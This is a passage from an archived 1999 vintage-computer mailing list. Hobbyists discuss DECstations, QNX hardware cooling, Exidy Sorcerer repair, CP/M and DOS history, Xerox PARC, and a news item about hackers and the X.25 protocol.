rhblake at bigfoot.com Sat Jan 9 15:29:28 1999 From: rhblake at bigfoot.com (Russ Blakeman) Date: Sun Feb 27 18:39:56 2005 Subject: R.I.P. Hayes References: <199901091857.MAA26471@wildride.netads.com> Message-ID: <3697CA37.35E3E5ED@bigfoot.com> Must have been a text writeup without pictures. They get into words and I have a tendancy to go back to my comic books. Miles O'Neal wrote: > Russ Blakeman said... > | > |They still have an active and alive webpage at http://www.hayes.com/ without any > |mention of demise. Where did you get this info? > > It's all over the news. From todd.osborne at barnstormer-software.com Sat Jan 9 15:39:42 1999 From: todd.osborne at barnstormer-software.com (Todd Osborne) Date: Sun Feb 27 18:39:56 2005 Subject: R.I.P. Hayes References: <199901091857.MAA26471@wildride.netads.com> <3697CA37.35E3E5ED@bigfoot.com> Message-ID: <3697CC9E.166D0DE8@barnstormer-software.com> Not sure what all this means, but here is a link at ZD where Hayes (UK) is denying the charges. http://www.zdnet.com/zdnn/stories/news/0,4586,2182458,00.html Todd Russ Blakeman wrote: > > Must have been a text writeup without pictures. They get into words and I have a > tendancy to go back to my comic books. > > Miles O'Neal wrote: > > > Russ Blakeman said... > > | > > |They still have an active and alive webpage at http://www.hayes.com/ without any > > |mention of demise. Where did you get this info? > > > > It's all over the news. -- -------------------------------------------------------- Todd Osborne Senior Software Engineer FMStrategies, Inc. http://www.fmstrategies.com/ -------------------------------------------------------- FMStrategies, Inc: tosborne@fmstrategies.com Internet E-Mail: todd.osborne@barnstormer-software.com -------------------------------------------------------- Founder of the Virtual Windows Class Library (C++) http://www.barnstormer-software.com/vwcl/ -------------------------------------------------------- Anagrams? (http://www.wordsmith.org/anagram/) Can you figure out this one? Want the answer? E-Mail me. COCO VERDI MOM (Hint: Think Late 1970's Computer) -------------------------------------------------------- Quote: 2 Wrongs Don't Make a Right, But 3 Rights Make a Left! -------------------------------------------------------- From jim at calico.litterbox.com Sat Jan 9 15:41:15 1999 From: jim at calico.litterbox.com (Jim Strickland) Date: Sun Feb 27 18:39:56 2005 Subject: DECstation 5000/125 In-Reply-To: <02ea01be3b62$a1421950$11d53d9d@JOEBAR> from "Joseph S. Barrera III" at Jan 08, 1999 03:57:13 PM Message-ID: <199901092141.OAA06952@calico.litterbox.com> > > Okay, okay, so a DECstation 5000/125 isn't very "vintage". But I did manage > to save one from certain death from my grad school (Carnegie Mellon), and it > has a nice big 21" monitor, two big 5 1/4" SCSI drives (each around 1/2 a > GB)... and no bootable OS. > > It used to run Mach (I was on the Mach project at CMU), but I'd really like > to run VMS on the thing. > > Does anyone know how/where/if I can get VMS loaded onto this guy? > > Thanks all, > > - Joe > > Decstations can't run VMS. They're MIPS machines, and VMS only runs on VAX and Alpha. You CAN run Ultrix on it and have a fine bsd-ish unix workstation. You might also look at freebsd, as I have this vague memory that there was a Decstation port. -- Jim Strickland jim@DIESPAMMERSCUMcalico.litterbox.com ----------------------------------------------------------------------- Vote Meadocrat! Bill and Opus in 2000 - Who ELSE is there? ----------------------------------------------------------------------- From yowza at yowza.com Sat Jan 9 15:48:39 1999 From: yowza at yowza.com (Doug Yowza) Date: Sun Feb 27 18:39:56 2005 Subject: Weird find, QNX, and cooling In-Reply-To: <199901092035.NAA19633@canuck.com> Message-ID: Hey, any industrial controller collectors out there? I didn't think so. I just picked up an exceedingly cool 486 box from around 1993 with a touch-screen LCD and ethernet. The entire machine is about the size of an Amiga box, but it's in a black hermetically sealed magnesium case. It's running QNX 4.11, and root didn't have a password (woohoo!). The Li battery was starting to ooze corrosive juices onto the CPU, but other than that, it's in primo shape. I have some stupid questions: Was there a GUI for this version of QNX? I can't find one, nor anything that exploits the touch screen on this box. There are three fans inside the box, but it's sealed. I always thought that fans worked by exchanging hot air for cooler air. What good are fans inside a sealed box? Long shot: the display blanks after a few minutes, and hitting a key (it has a keyboard port) or touching the screen doesn't unblank it. Any guesses on how to wake it back up (BTW, there's no power switch on this thing -- it wants to be on *all* the time). -- Doug From rhblake at bigfoot.com Sat Jan 9 15:53:26 1999 From: rhblake at bigfoot.com (Russ Blakeman) Date: Sun Feb 27 18:39:56 2005 Subject: CM-5 color monitor Message-ID: <3697CFD5.C4FDCC4D@bigfoot.com> Anyone in the US or APO/FPO in need of a good working Tandy CM-5 CGA color monitor? $10 plus shipping and it's yours. It's not really heavy, about 18 or so in weight. Good condition and all cables attached. I live in zip 40144 in case someone needs to speculate the shipping using the parcel calulator at http://www.usps.com/ From jim at calico.litterbox.com Sat Jan 9 16:21:28 1999 From: jim at calico.litterbox.com (Jim Strickland) Date: Sun Feb 27 18:39:56 2005 Subject: new to the list In-Reply-To: <199901091944.MAA17871@canuck.com> from "Victor the Cleaner" at Jan 09, 1999 12:44:08 PM Message-ID: <199901092221.PAA07342@calico.litterbox.com> > Might I respectfully suggest that, in the absence of aggressive subject > management by the owner, the list would be better broken into four, say: > > classiccmp-historical > classiccmp-technical > classiccmp-overblown_prices_collector_scum_die_die_die > classiccmp-more_about_television_licensing_really Why is it every newbie we get wants to split the list? I understand this stuff might be pretty tedious to wade through on digest, but there's a simple solution: subscribe to the actual list. Then you can delete by topic, which I've been doing to all the e-bay discussions, and a number of others that don't interest me. If I could ask one thing of our gracious list admin, it would be to require that all posts to the list are not in HTML. I'd even go so far as to say no MIME inclusions, even though the mailer I'm using, ELM, handles them fine. E-mail is a plain text format, and every mailer I've ever seen has some way of turning off spewing HTML in mail. I can only imagine how unpleasant having some messages in HTML and some messages with multi-kilobyte MIME inclusions makes life for people reading the digest. I can at least delete them unread once I realise what they are without loosing everything else. The flip side of this is it might be cool if the archive web page had an upload and download section so people could just say "I uploaded the y2k checker to the classiccmp web page" instead of including it. Hmmm. This is starting to sound more and more like a BBS. :) -- Jim Strickland jim@DIESPAMMERSCUMcalico.litterbox.com ----------------------------------------------------------------------- Vote Meadocrat! Bill and Opus in 2000 - Who ELSE is there? ----------------------------------------------------------------------- From gram at cnct.com Sat Jan 9 16:35:27 1999 From: gram at cnct.com (Ward Donald Griffiths III) Date: Sun Feb 27 18:39:56 2005 Subject: Stupid CP/M question References: Message-ID: <3697D9AF.F8617C4C@cnct.com> Max Eskin wrote: > > On Sat, 9 Jan 1999 dpeschel@u.washington.edu wrote: > > became. If they had just ripped off a better OS, that might have been nice > > as well. Something with long file names, or multitasking, or whatever. > > And OSs of the time DID have long file names. I don't know about > > multitasking (maybe OS/9 or FLEX were around when DOS was born?). > > Interestingly, there were a number of attempts over the years to make a > better OS than DOS. An example is TSX-Lite, a multitasking, 32-bit version > of DOS that was shareware last time I looked. It had the right ideas but > worked very poorly. Caldera DR-DOS supposedly has multitasking but it > hardly works. OS/2 is very resource-intensive, worse than Windows 95. > Which makes me wonder; maybe something good could have been done before > Linux came about, but everyone was too lazy? M/PM aka Concurrent CP/M were just fine multi-user systems. Where is DR-DOS claimed to be multi-tasking? Not in any Caldera literature I know of. Though I can easily run multiple DR-DOS instances using any of my Linux boxen including my little notebook with Redhat. Caldera is also offering Concurrent CP/M and Concurrent DOS, though not for free like DR-DOS. At least that's the status as of yesterday. -- Ward Griffiths WARNING: The Attorney General has determined that Alcohol, Tobacco, and Firearms can be hazardous to your health -- and get away with it. From mpsayler at zen.as.utexas.edu Sat Jan 9 16:53:06 1999 From: mpsayler at zen.as.utexas.edu (Matthew Sayler) Date: Sun Feb 27 18:39:56 2005 Subject: Stupid CP/M question In-Reply-To: <3697D9AF.F8617C4C@cnct.com>; from Ward Donald Griffiths III on Sat, Jan 09, 1999 at 05:35:27PM -0500 References: <3697D9AF.F8617C4C@cnct.com> Message-ID: <19990109165306.54589@zen.as.utexas.edu> I remember back in '99 when Ward Donald Griffiths III wrote: > M/PM aka Concurrent CP/M were just fine multi-user systems. Where is > DR-DOS claimed to be multi-tasking? Not in any Caldera literature I > know of. Though I can easily run multiple DR-DOS instances using any > of my Linux boxen including my little notebook with Redhat. Caldera > is also offering Concurrent CP/M and Concurrent DOS, though not for > free like DR-DOS. At least that's the status as of yesterday. OpenDOS comes with an install option to run a task manager for task switching (286) or concurrent operation (386+). The DPMI server seems to really be useless, though.. Matt -- /* Matt Sayler -- mpsayler@zen.as.utexas.edu -- atwork?astronomy:cs http://www.cs.utexas.edu/users/mpsayler -- (512)471-7450 Have you ever imagined a world with no hypothetical situations? */ From ard at p850ug1.demon.co.uk Sat Jan 9 16:11:09 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:39:56 2005 Subject: a little more compucolor rant; sgi In-Reply-To: <199901092035.NAA19633@canuck.com> from "Victor the Cleaner" at Jan 9, 99 01:35:42 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 4894 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990109/3f94e581/attachment.ksh From ard at p850ug1.demon.co.uk Sat Jan 9 15:52:18 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:39:56 2005 Subject: new to the list In-Reply-To: <199901092006.MAA09570@saul7.u.washington.edu> from "D. Peschel" at Jan 9, 99 12:06:03 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1585 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990109/22e02188/attachment.ksh From dpeschel at u.washington.edu Sat Jan 9 17:37:31 1999 From: dpeschel at u.washington.edu (D. Peschel) Date: Sun Feb 27 18:39:56 2005 Subject: new to the list In-Reply-To: from "Tony Duell" at Jan 9, 99 09:52:18 pm Message-ID: <199901092337.PAA29633@saul3.u.washington.edu> > > Many of the people on the list are in the same category. In other words, > > the list (which is supposed to be very single-minded) contains a number of > > people who actually are single-minded (Tony Duell, Allison Parent, Megan > > Gantry, Pete Turnbull, maybe others). This is good! Don't misunderstand > > me. It's the way it's supposed to be. > > I don't know what you mean by 'single-minded', but : > If you mean 'am only interested in one type of classic computer', then I > am _NOT_ single-minded. I may go on about PERQs, but that's only because > if I don't, then noone else will ;-). Looking around me I see a couple of > PERQs, an Apple ][, a TRS-80 Model 4, a PDP8/e, a PDP11/44, a couple of > IBM PC-family machines, etc. All of which get used. No, that's not what I meant. I enjoy reading your posts on a wide variety of classic machines, not just PERQs. > If you mean 'am only interested in classic computers (in general), then > again NO. I have other interests (strange as though it may seem). All are > engineering/scientific - electronic design, robotics, clocks, model > engineering, radio, etc, etc. I just don't talk about them here as it's > not the right place to do so. That's more like what I meant. Perhaps "on-topic" would have been a better word to use than "single-minded" since that's what it boils down to. -- Derek From fmc at reanimators.org Sat Jan 9 17:53:06 1999 From: fmc at reanimators.org (Frank McConnell) Date: Sun Feb 27 18:39:56 2005 Subject: Corvus Concept (was Re: Y2K stuff) In-Reply-To: "D. Peschel"'s message of Sat, 9 Jan 1999 01:39:43 -0800 (PST) References: <199901090939.BAA23702@saul9.u.washington.edu> Message-ID: <199901092353.PAA27561@daemonweed.reanimators.org> "D. Peschel" wrote: > I guess posting something on-topic is the best solutioon. Does anyone have > a Corvus Concept? I bet Blockout (3D Tetris) would look pretty cool on it. What do you think a Corvus Concept would bring to Blockout? I don't know, and it's been years since I played Tetris. Yep, I've got one, the fancy landscape/portrait display boils down to a VERT/HORIZ switch on the back of the CPU that the software reads to figure out how to draw the display. (It's up to the user to make sure the switch and the monitor are set the same way, and the switch doesn't change anything about the beam deflection.) -Frank McConnell From kurtkilg at geocities.com Sat Jan 9 18:02:21 1999 From: kurtkilg at geocities.com (Max Eskin) Date: Sun Feb 27 18:39:56 2005 Subject: new to the list In-Reply-To: <199901092328.SAA02759@localhost> by geocities.com (8.9.1/8.9.1) with ESMTP id PAA19719; Sat, 9 Jan 1999 15:29:44 -0800 (PST) Message-ID: On Sat, 9 Jan 1999 ard@p850ug1.demon.co.uk wrote: > Incidentally, I find the diversity on this list a good thing. Hearing > about machines that I don't know about, or that I thought 'those are a > poor design' (or worse) about is very interesting to me. So keep on > talking about them.... I'm actually very surprised and disappointed by this newfound fascism. We're _collectors_ or _hobbyists_ who are dealing with classic computers, as well as hanging out on this list for _fun_. The people who shut others up whenever we go mildly off topic, or when a machine they don't like is brought up. Maybe there should be a contract for list subscribers. If you were seeing people discussing something face to face at a party or club meeting or conference that you didn't like, would you tell them to shut up? I hope not, though the internet attracts socially inept creatures. I expect the same level of politeness on the internet, in a civilized discussion which I define this to be. I will not allow technology to take humanity away from people, to the extent that I can. ---------------------------------------------------- Max Eskin | kurtkilgor@bigfoot.com | AOL: kurtkilgor From adavie at mad.scientist.com Sat Jan 9 18:10:31 1999 From: adavie at mad.scientist.com (Andrew Davie) Date: Sun Feb 27 18:39:57 2005 Subject: Sick Sorcerer. Diagnosis, Doctor? In-Reply-To: <199901092337.PAA29633@saul3.u.washington.edu> Message-ID: <000001be3c2d$a31f87a0$1bf438cb@a.davie> I'm hoping for some insight from the clever people on this list. I am attempting to bring back up an Exidy Sorcerer disk system. I have a hundred or so disks for this system, and have just realised that I probably have everything I actually need for the disk system, too. Cleaning out the garage, found a twin-floppy drive which I thought had been gutted. But on internal inspection, it appears to only have had the cable removed. First question: there are two drives, and each has a set of jumper pins. The pins are labeled.. DS 0 1 2 3 MX MS H M H C The top drive, on which the red LED lights when I power the drive, has jumpers across DS1 and HC. I am guessing that this drive is the second drive, and that the two jumpers that fell out of the casing belong on the second drive. That should be, I'm guessing, DS0 and mmmh... HM? Can anybody enlighten me on this? Second question: Powering the Sorcerer (I thought I didn't have a monitor, but the VIDEO IN on my VCR works nicely - it shows up well on my TV) exibits some strange behaviour. What's trying to come up on screen is "EXIDY STANDARD MONITOR" and a few lines after that. But it simply stops after the second or third character. Repeated efforts see it stop in different places - sometimes you see the whole lot, and it's actually usable for a few minutes - sometimes you only see a character or two. Out of 100 resets, I'd say that it actually works on one (ie: 1%) and then only for a short while. But the strange thing is that, very rarely, it misses a character. So, something like "EXID STAN". Furthermore, it's quite obvious to me that the text is being put on the screen in a serial manner (slow enough to see). And finally, occasionally some of the text changes case (ie: eRROR - COMMAND NOT FOUND). At first I suspected the RAM, but have carefully reseated all chips that are socketed, with no effect. I found a homebrew cartridge for this machine, and when its plugged in, the wordprocessor it contains appears to work fine - everytime - with no apparent problems. Sure, I don't know the commands, but it does let me type, doesn't crash, and doesn't have any visible screen glitches as described above. For this reason I lean towards giving the machine's RAM a clean bill of health. So, the question is, what's wrong with the monitor? Third question: Assuming I actually get the machine powering up correctly, and that the drive I have isn't missing some vital component - it will be time to insert a disk. Can anybody tell me how to actually use a drive with the Sorcerer system? I'm afraid it's going to be some arcane "GO C800" or something like that, from the monitor. I think I might need someone with documentation! Any help appreciated. A -- adavie@mad.scientist.com visit the Museum of Soviet Calculators at http://www.comcen.com.au/~adavie/slide/calculator/soviet.html From yowza at yowza.com Sat Jan 9 18:20:33 1999 From: yowza at yowza.com (Doug Yowza) Date: Sun Feb 27 18:39:57 2005 Subject: new to the list In-Reply-To: Message-ID: On Sat, 9 Jan 1999, Max Eskin wrote: > If you > were seeing people discussing something face to face at a party or > club meeting or conference that you didn't like, would you tell them to > shut up? I hope not, though the internet attracts socially inept > creatures. I expect the same level of politeness on the internet, in a > civilized discussion which I define this to be. I will not allow > technology to take humanity away from people, to the extent that I can. Err, newsflash: this is not a parlor room. Would you have gotten up on a soapbox in a room filled with 200 people and blurted out that little speech of yours in a face to face situation? Mailing lists have their own etiquette, and your off-topic rant just violated it. Yeah, so does this one. -- Doug From yowza at yowza.com Sat Jan 9 18:28:20 1999 From: yowza at yowza.com (Doug Yowza) Date: Sun Feb 27 18:39:57 2005 Subject: Prodigy collectors? In-Reply-To: <000001be3c2d$a31f87a0$1bf438cb@a.davie> Message-ID: Are there any collectors of net.history who would be interested in trading something for this: a "founding member" Prodigy notebook (white naugahyde) from 1988. It looks like it may have belonged to a lawyer. Every insert has a "received" date, and there are some notes about the legal sign-on agreement and about their name change from TRINTEX to PRODIGY SERVICES. Original 5.25" floppies included. I'll hold onto it if nobody finds it fascinating, but if somebody can demonstrate that they have a fairly comprehensive collection pertaining to the net or online services, I'll donate this to your museum. -- Doug From mew_jac at swbell.net Sat Jan 9 18:51:49 1999 From: mew_jac at swbell.net (Mitch Wright) Date: Sun Feb 27 18:39:57 2005 Subject: old sgis References: <199901092019.NAA19038@canuck.com> Message-ID: <3697F9A5.1794@swbell.net> > > Yes, they all have ethernet. Want a unix box? If so, they're worth grabbing. > Monitors are fixed-sync RGB, and probably not useful on anything else you > have or might get. http://www.mirage-mmc.com/core.html Makes "PC" video cards to drive almost any fixed freq workstation monitor. That's how I drive the 21" HP A1097C in front of me, got two for $50. --Mitch > > As it happens, there's another (non-list) chap for whom I've been getting > my 3130 running again (a bad video board, then a blown /etc/passwd...) in > order to generate a boot/install tape. I'd be much more enthusiastic about > doing it if there were a few other people on the list who need them as well, > so I can do a bunch at one time. > > Jonathan From kurtkilgor at bigfoot.com Sat Jan 9 18:44:43 1999 From: kurtkilgor at bigfoot.com (Max Eskin) Date: Sun Feb 27 18:39:57 2005 Subject: X.25? Message-ID: <199901100045.QAA03266@geocities.com> Wired (no, I don't usually read it) reports that hackers were intending to disable Iraqui computer networks, which were supposedly accessible by dialup, and using a 'vintage' protocol called X.25. Could someone tell me what sort of protocol this is and what machines it's likely to involve? ---------------------------------------------------------------------------- ----- Max Eskin | kurtkilgor@bigfoot.com | AOL: kurtkilgor From ard at p850ug1.demon.co.uk Sat Jan 9 18:27:51 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:39:57 2005 Subject: new to the list In-Reply-To: from "Max Eskin" at Jan 9, 99 07:02:21 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1199 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990110/f5e43f87/attachment.ksh From ard at p850ug1.demon.co.uk Sat Jan 9 18:54:08 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:39:57 2005 Subject: Sick Sorcerer. Diagnosis, Doctor? In-Reply-To: <000001be3c2d$a31f87a0$1bf438cb@a.davie> from "Andrew Davie" at Jan 10, 99 11:10:31 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 3874 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990110/62c0579e/attachment.ksh From tim at thereviewguide.com Sat Jan 9 19:03:40 1999 From: tim at thereviewguide.com (Tim Hotze) Date: Sun Feb 27 18:39:57 2005 Subject: X.25? In-Reply-To: <199901100045.QAA03266@geocities.com> Message-ID: <199901100104.RAA23091@geocities.com> > Wired (no, I don't usually read it) reports that hackers were intending to > disable Iraqui computer networks, which were supposedly accessible by > dialup, and using a 'vintage' protocol called X.25. Could someone tell me > what sort of protocol this is and what machines it's likely to involve? Yeah, I saw that, too. Seemed pretty interesting, but not much of a challange. They haven't been able to (legally) get anything in since 1991. What scares me is Linux Beowulf, which could mean that if one of their embassies could smuggle a bunch of normal PC's in, they could have a super computer. But anyway, it *CAN'T* be much of a challange, as X.25 is that old (1), and, perhaps more imporantly, the Iraqi's aren't too bright when it comes to computer technology. Tim ******************************************** *Tim D. Hotze - Co-Founder, The ReviewGuide* *tim@thereviewguide.com * *http://www.thereviewguide.com * ******************************************** From kurtkilgor at bigfoot.com Sat Jan 9 19:15:37 1999 From: kurtkilgor at bigfoot.com (Max Eskin) Date: Sun Feb 27 18:39:57 2005 Subject: X.25? Message-ID: <199901100116.RAA20041@geocities.com> > But anyway, it *CAN'T* be much of a challange, as X.25 is that old > (1), and, perhaps more imporantly, the Iraqi's aren't too bright when > it comes to computer technology. Who says? It's when you _don't_ have a lot of technology when you learn to use what you _do_ have. Like how much more one can learn from an Apple ][ than from a Pentium system. A lot of Russian immigrants to the USA are much better programmers, sysadmins, etc. than americans, because when they were in Russia, they used old, well designed, systems intended for people who knew what they were doing. They are likely to know how to make a 10K program do the work of a 2M program which is what an american would likely write (no offense intened). Plus, who knows? Maybe they modified the protocol... From yowza at yowza.com Sat Jan 9 19:22:38 1999 From: yowza at yowza.com (Doug Yowza) Date: Sun Feb 27 18:39:57 2005 Subject: Weird find, QNX, and cooling In-Reply-To: Message-ID: [talking to myself] > Was there a GUI for this version of QNX? I can't find one, nor anything > that exploits the touch screen on this box. I found the GUI. It's called (gasp) windows. Luckily, it's not a Microsoft product. > There are three fans inside the box, but it's sealed. I always thought > that fans worked by exchanging hot air for cooler air. What good are > fans inside a sealed box? AFAICT, it works by blowing hot air over the back of the magnesium case which has huge heat radiating fins on the back. This can't be very effective.... > Long shot: the display blanks after a few minutes, and hitting a key (it > has a keyboard port) or touching the screen doesn't unblank it. Any > guesses on how to wake it back up (BTW, there's no power switch on this > thing -- it wants to be on *all* the time). Erhm, this appears to be a thermal problem :-( Not only will the display shutdown after a few minutes, but it will stay shutdown after cycling power unless I let it cool down for a while. I'm tempted to drill holes in the back of the case to allow hot air to escape, but then I won't be able to mount this cool computer in the shower as I was planning.... (Did I mention that my goal in life is to be permanently wired to the net?) -- Doug From ddameron at earthlink.net Sat Jan 9 19:23:56 1999 From: ddameron at earthlink.net (dave dameron) Date: Sun Feb 27 18:39:57 2005 Subject: Weird find, QNX, and cooling Message-ID: <199901100123.RAA04105@avocet.prod.itd.earthlink.net> Hi Doug and all, Sorry, I only know the answer to this one: At 03:48 PM 1/9/99 -0600, you wrote: >Hey, any industrial controller collectors out there? I didn't think so. >There are three fans inside the box, but it's sealed. I always thought >that fans worked by exchanging hot air for cooler air. What good are >fans inside a sealed box? > The black case itself is the heatsink. The fans only couple the heat sources to the inside of the case. Sounds pretty neat. -Dave From jpl15 at netcom.com Sat Jan 9 20:36:26 1999 From: jpl15 at netcom.com (John Lawson) Date: Sun Feb 27 18:39:57 2005 Subject: PR1ME system rescue Message-ID: Well, I just got done winching the CDC 9766 drive down off my truck, and boy are my arms tired... The system is CPU, 32M of ram, 16 I/O ports, a Century 300M 10" drive, a Seagate Sabre attached to a SCSI PORT!! (yay!) a Kennedy 9100 in Prime livery, and the usual load of cables and Stuff. Also: I got the OS (PrimeOS 7.0 rev 20.2.8), a bunch of other tapes, including a 7" reel marked 'games'. and several boxes of docs and manuals. I have no idea how to tell what overall 'model' the system is.. if the Primes went by models, like DEC PDP11, etc. I was not all that interested in this machine, since I am *trying* to stick to DEC and only DEC, but now that it's here I think it might be fun to play with. Oh, yeah, it has a Decwriter IV for a console... even came with several boxes of spare ribbons. It was heading for the dumpster.. I *had* to save it. The machine was running when taken out of service and was de-commissioned by the person who bought and operated it, so every thing was marked and stored properly. Cool... **another** project. ;} And, other than the Seagate drive ('91), it's On Topic. Cheers John From mew_jac at swbell.net Sat Jan 9 20:48:08 1999 From: mew_jac at swbell.net (Mitch Wright) Date: Sun Feb 27 18:39:57 2005 Subject: PDP-11/44 PSU prints References: <199901092035.NAA19633@canuck.com> Message-ID: <369814E8.DDF@swbell.net> Folks, My PDP-11/44 PSU(H7140) is acting up. Does anyone on the list have the print set? Tony has been a big help but I would realy like to get a photo copy or scan. Thanks, Mitch Wright From allisonp at world.std.com Sat Jan 9 21:00:01 1999 From: allisonp at world.std.com (Allison J Parent) Date: Sun Feb 27 18:39:57 2005 Subject: new to the list Message-ID: <199901100300.AA12345@world.std.com> the list (which is supposed to be very single-minded) contains a number of <36970978.BAD75CC0@cnct.com> Message-ID: <369778CE.E36462C5@mindspring.com> Interesting Web site hinting that Adam Osborne got his idea for the Osborne 01 from Xerox PARC.. Check out this web site, below is a direct quote from the article.. http://www.newmedianews.com/tech_hist/osborne.html The Notetaker was another of the bright ideas that sprang from Xerox PARC. But like many others, including the mouse it sported, it was commercialized by someone else. In this case, Adam Osborne. The former writer and publisher had paid a visit to Xerox. "Everyone was very open at PARC, and he saw all the drawings and asked a few questions, and left not saying anything," explains Gwen Bell, curator of The Computer Museum. "And the result was, a year or so later, you saw the plans for the Osborne 1, and it was very much like [the Notetaker]." Phil... From kyrrin at bluefeathertech.com Sat Jan 9 22:43:16 1999 From: kyrrin at bluefeathertech.com (Bruce Lane) Date: Sun Feb 27 18:39:57 2005 Subject: NorthStar Horizon incoming Message-ID: <3.0.5.32.19990109204316.0092e100@mail.bluefeathertech.com> A non-text attachment was scrubbed... Name: not available Type: text/enriched Size: 805 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990109/6d618d78/attachment.bin From jhfine at idirect.com Sat Jan 9 23:34:12 1999 From: jhfine at idirect.com (Jerome Fine) Date: Sun Feb 27 18:39:57 2005 Subject: Stupid CP/M question References: <199901091730.AA04562@world.std.com> Message-ID: <36983BD4.30F788AD@idirect.com> >Allison J Parent wrote: > Graphics we know were not going to happen on PDP11 or most other > 16bit cpus as they don't address enough space. OSs were driven by > the environment and it's tasks plus space needs. > > Allison Jerome Fine replies: While I realize that it would not have been possible to make their graphics part of the standard OS for a PDP-11, I was led to believe that the PR0 350/380 had access to their bit mapped screen displays. While doing such manipulations was likely discouraged, is that a true statement of the situation and in a few lines, how was it done? I may have a working PRO 350/380 and it would be interesting. Also, I understand that the first RT-11 was released about 1973. When was the first CP/M released? And the first DOS? Sincerely yours, Jerome Fine RT-11/TSX-PLUS User/Addict From meo at netads.com Sat Jan 9 23:45:50 1999 From: meo at netads.com (Miles O'Neal) Date: Sun Feb 27 18:39:57 2005 Subject: Did Adam Osborne pirate the Osborne 01 ? In-Reply-To: <369778CE.E36462C5@mindspring.com> from "Phil Clayton" at Jan 9, 99 10:42:07 am Message-ID: <199901100545.XAA28249@wildride.netads.com> Phil Clayton said... | |The Notetaker was another of the bright ideas that sprang | from Xerox PARC. But like many others, including the mouse it sported, it was | commercialized by someone else. In this case, Adam Osborne. It's just as well that someone did it (if he did.) Xerox Parc was notorious for not doing anything with their brilliant research. If they'd run with the computer stuff they had come up with, we'd have been some seriously happy puppies by now... And the PC/DOC world takeover probably wouldn't have happened quite as it did. Anybody who doesn't believe this needs to go do some research on the Alto and Star. -Miles From yowza at yowza.com Sat Jan 9 23:51:05 1999 From: yowza at yowza.com (Doug Yowza) Date: Sun Feb 27 18:39:57 2005 Subject: Stupid CP/M question In-Reply-To: <36983BD4.30F788AD@idirect.com> Message-ID: On Sun, 10 Jan 1999, Jerome Fine wrote: > Also, I understand that the first RT-11 was released about > 1973. When was the first CP/M released? And the first > DOS? CP/M was created in 1974. PC-DOS was released when the PC came out in 1981 (and created a bit earlier as QDOS). The Xerox Alto was doing bitmapped graphics in 1973. The Imlac PDS-1 had a memory resident display list for its vector graphics display in 1970. A machine from III had similar graphics capabilities around the same time. -- Doug From dastar at ncal.verio.com Sat Jan 9 23:53:11 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:39:57 2005 Subject: OT: Linux question In-Reply-To: Message-ID: On Sat, 9 Jan 1999, Max Eskin wrote: > Can anyone help me with this issue? > When I download my mail in Linux, the mail has a line in the header > called 'X-Status:' followed by a blank line. I have found that if I get > rid of this and the blank line, pine properly detects the Subject: and > From: of the letter. However, if I leave it in, it doesn't. I wrote a very > inefficient shell script to get rid of these lines, using a loop with grep > and sed. Does anyone know a better way? I'll bet there's a Linux newsgroup that has the very answer to that question! Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 12/27/98] From meo at netads.com Sun Jan 10 00:01:29 1999 From: meo at netads.com (Miles O'Neal) Date: Sun Feb 27 18:39:57 2005 Subject: R.I.P. Hayes In-Reply-To: <3697CC9E.166D0DE8@barnstormer-software.com> from "Todd Osborne" at Jan 9, 99 04:39:42 pm Message-ID: <199901100601.AAA28364@wildride.netads.com> Here's the story I first heard. http://www.wired.com/news/news/business/story/17154.html From donm at cts.com Sun Jan 10 00:07:47 1999 From: donm at cts.com (Don Maslin) Date: Sun Feb 27 18:39:57 2005 Subject: Did Adam Osborne pirate the Osborne 01 ? In-Reply-To: <199901100545.XAA28249@wildride.netads.com> Message-ID: On Sat, 9 Jan 1999, Miles O'Neal wrote: > Phil Clayton said... > | > |The Notetaker was another of the bright ideas that sprang > | from Xerox PARC. But like many others, including the mouse it sported, it was > | commercialized by someone else. In this case, Adam Osborne. > > It's just as well that someone did it (if he did.) > > Xerox Parc was notorious for not doing anything > with their brilliant research. If they'd run > with the computer stuff they had come up with, > we'd have been some seriously happy puppies by > now... And the PC/DOC world takeover probably > wouldn't have happened quite as it did. I have heard this comment over and over, and those who voice it need to rethink what they are saying. Consider that PARC stands/stood for Palo Alto Research Center. Emphasis on Research. It is not the function of a research center to put things into production. That is corporate's job. If you said 'Xerox was notorious for not doing anything with PARC's brilliant research' there would be no disagreement at all! - don > Anybody who doesn't believe this needs to go do > some research on the Alto and Star. > > -Miles > donm@cts.com *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* Don Maslin - Keeper of the Dina-SIG CP/M System Disk Archives Chairman, Dina-SIG of the San Diego Computer Society Clinging tenaciously to the trailing edge of technology. Sysop - Elephant's Graveyard (CP/M) Z-Node 9 - 619-454-8412 *--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--* see old system support at http://www.psyber.com/~tcj visit the "Unofficial" CP/M Web site at http://devili.iki.fi/cpm with Mirror at http://www.mathcs.emory.edu/~cfs/cpm From meo at netads.com Sun Jan 10 00:17:24 1999 From: meo at netads.com (Miles O'Neal) Date: Sun Feb 27 18:39:57 2005 Subject: X.25? In-Reply-To: <199901100104.RAA23091@geocities.com> from "Tim Hotze" at Jan 9, 99 09:03:40 pm Message-ID: <199901100617.AAA28503@wildride.netads.com> Tim Hotze said... | |But anyway, it *CAN'T* be much of a challange, as X.25 is that old |(1), and, perhaps more imporantly, the Iraqi's aren't too bright when |it comes to computer technology. They were bright 